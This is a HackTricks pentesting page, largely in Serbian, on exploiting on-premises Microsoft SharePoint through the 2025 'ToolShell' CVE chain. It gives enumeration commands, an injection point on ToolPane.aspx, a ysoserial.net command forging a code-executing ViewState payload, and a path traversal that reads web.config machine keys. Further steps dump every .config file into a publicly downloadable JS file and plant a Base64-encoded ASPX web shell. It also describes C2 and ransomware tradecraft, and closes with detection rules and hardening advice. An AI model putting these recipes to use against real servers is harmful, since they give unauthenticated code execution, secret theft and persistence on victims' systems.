Microsoft SharePoint – Pentesting & Exploitation
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Microsoft SharePoint (on-premises) je izgrađen na ASP.NET/IIS. Većina klasične web napadačke površine (ViewState, Web.Config, web shells, itd.) je stoga prisutna, ali SharePoint takođe dolazi sa stotinama vlasničkih ASPX stranica i web servisa koji dramatično povećavaju izloženu napadačku površinu. Ova stranica prikuplja praktične trikove za enumeraciju, eksploataciju i persistenciju unutar SharePoint okruženja sa naglaskom na 2025. exploit lanac koji je otkrio Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit chain (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
omogućava umetanje proizvoljnog Server-Side Include koda na stranicu koja se kasnije kompajlira od strane ASP.NET. Napadač može umetnuti C# koji izvršava Process.Start()
i ubaciti zlonamerni ViewState.
2.2 CVE-2025-49706 – Improper Authentication Bypass
Ista stranica veruje X-Forms_BaseUrl zaglavlju da odredi kontekst sajta. Usmeravanjem na /_layouts/15/
, MFA/SSO koji se primenjuje na glavnom sajtu može biti zaobiđen bez autentifikacije.
2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
Kada napadač kontroliše uređaj u ToolPane.aspx
, može poslati nepotpisanu (ili samo MAC) __VIEWSTATE
vrednost koja pokreće .NET deserializaciju unutar w3wp.exe što dovodi do izvršenja koda.
Ako je potpisivanje omogućeno, ukradite ValidationKey/DecryptionKey iz bilo kog web.config
(vidi 2.4) i falsifikujte payload pomoću ysoserial.net ili ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Za detaljno objašnjenje o zloupotrebi ASP.NET ViewState pročitajte:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Putanja Traversal / web.config Otkriće
Slanjem kreiranog Source
parametra na ToolPane.aspx
(npr. ../../../../web.config
) vraća se ciljani fajl, omogućavajući curenje:
<machineKey validationKey="…" decryptionKey="…">
➜ falsifikovanje ViewState / ASPXAUTH kolačića- stringovi za konekciju i tajne.
3. Post-exploitation recepti zabeleženi u prirodi
3.1 Ekstraktovati svaki .config fajl (varijacija-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Rezultantni debug_dev.js
može se preuzeti anonimno i sadrži sve osetljive konfiguracije.
3.2 Postavljanje ASPX web shell-a kodiranog u Base64 (varijacija-2)
powershell.exe -EncodedCommand <base64>
Primer dekodirane payload (skraćeno):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Napisano za:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
Ljuska izlaže krajnje tačke za čitati / rotirati mašinske ključeve što omogućava falsifikovanje ViewState i ASPXAUTH kolačića širom farme.
3.3 Obfuskovana varijanta (varijacija-3)
Ista ljuska, ali:
- postavljena pod
...\15\TEMPLATE\LAYOUTS\
- imena promenljivih svedena na jednoslovne
Thread.Sleep(<ms>)
dodato za izbegavanje peska i zaobilaženje AV-a zasnovano na vremenu.
3.4 AK47C2 multi-protokol backdoor & X2ANYLOCK ransomware (posmatrano 2025-2026)
Nedavne istrage odgovora na incidente (Unit42 “Project AK47”) pokazuju kako napadači koriste ToolShell lanac posle inicijalnog RCE da implementiraju dvokanalni C2 implantat i ransomware u SharePoint okruženjima:
AK47C2 – dnsclient
varijanta
- Hard-kodirani DNS server:
10.7.66.10
koji komunicira sa autoritativnom domenomupdate.updatemicfosoft.com
. - Poruke su JSON objekti XOR-enkriptovani sa statičkim ključem
VHBD@H
, heksadecimalno kodirani i ugrađeni kao sub-domen etikete.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Dugi upiti su podeljeni i prefiksirani sa
s
, zatim ponovo sastavljeni na strani servera. - Server odgovara u TXT zapisima koji nose istu XOR/heksadecimalnu shemu:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Verzija 202504 je uvela pojednostavljeni format
<COMMAND>::<SESSION_KEY>
i oznake za delove1
,2
,a
.
AK47C2 – httpclient
varijanta
- Ponovo koristi istu JSON & XOR rutinu, ali šalje heksadecimalni blob u HTTP POST telu putem
libcurl
(CURLOPT_POSTFIELDS
, itd.). - Isti tok zadatka/rezultata omogućava:
- Izvršavanje proizvoljnih shell komandi.
- Dinamički interval spavanja i uputstva za prekid.
X2ANYLOCK ransomware
- 64-bitni C++ payload učitan kroz DLL side-loading (vidi ispod).
- Koristi AES-CBC za podatke o datotekama + RSA-2048 za obavijanje AES ključa, zatim dodaje ekstenziju
.x2anylock
. - Rekurzivno enkriptuje lokalne diskove i otkrivene SMB deljene resurse; preskoči sistemske putanje.
- Ostavlja belešku u čistom tekstu
Kako da dekriptujem svoje podatke.txt
koja sadrži statički Tox ID za pregovore. - Sadrži unutrašnji prekidač:
if (file_mod_time >= "2026-06-06") exit(0);
DLL side-loading lanac
- Napadač piše
dllhijacked.dll
/My7zdllhijacked.dll
pored legitimnog7z.exe
. - SharePoint-om pokrenut
w3wp.exe
pokreće7z.exe
, koji učitava zlonamerni DLL zbog Windows redosleda pretrage, pozivajući ulaznu tačku ransomware-a u memoriji. - Posmatran je odvojen LockBit loader (
bbb.msi
➜clink_x86.exe
➜clink_dll_x86.dll
) koji dekriptuje shell-code i vrši DLL hollowing ud3dl1.dll
da pokrene LockBit 3.0.
info
Isti statički Tox ID pronađen u X2ANYLOCK pojavljuje se u procurenim LockBit bazama podataka, što sugeriše preklapanje partnera.
4. Ideje za detekciju
Telemetrija | Zašto je sumnjiva |
---|---|
w3wp.exe → cmd.exe | Radni proces retko treba da pokreće shell |
cmd.exe → powershell.exe -EncodedCommand | Klasičan lolbin obrazac |
Događaji datoteka koji kreiraju debug_dev.js ili spinstall0.aspx | IOCs direktno iz ToolShell |
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/Module logs) | Javne PoCs pozivaju ovu stranicu |
Primer XDR / Sysmon pravila (pseudo-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Ojačavanje i ublažavanje
- Patch – Jul 2025 bezbednosne ispravke rešavaju sve četiri CVE.
- Rotirajte svaki
<machineKey>
iViewState
tajne nakon kompromitacije. - Uklonite LAYOUTS dozvolu za pisanje iz
WSS_WPG
iWSS_ADMIN_WPG
grupa. - Blokirajte spoljašnji pristup
/_layouts/15/ToolPane.aspx
na proxy/WAF nivou. - Omogućite ViewStateUserKey, MAC enabled, i prilagođeni EventValidation.
Povezani trikovi
- IIS post-ekspolatacija i zloupotreba web.config:
IIS - Internet Information Services
Reference
- Unit42 – Aktivna eksploatacija ranjivosti Microsoft SharePoint-a
- GitHub PoC – ToolShell exploit lanac
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Projekat AK47 / SharePoint eksploatacija i aktivnost ransomware-a
- Microsoft Security Advisory – CVE-2025-53770 / 53771
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.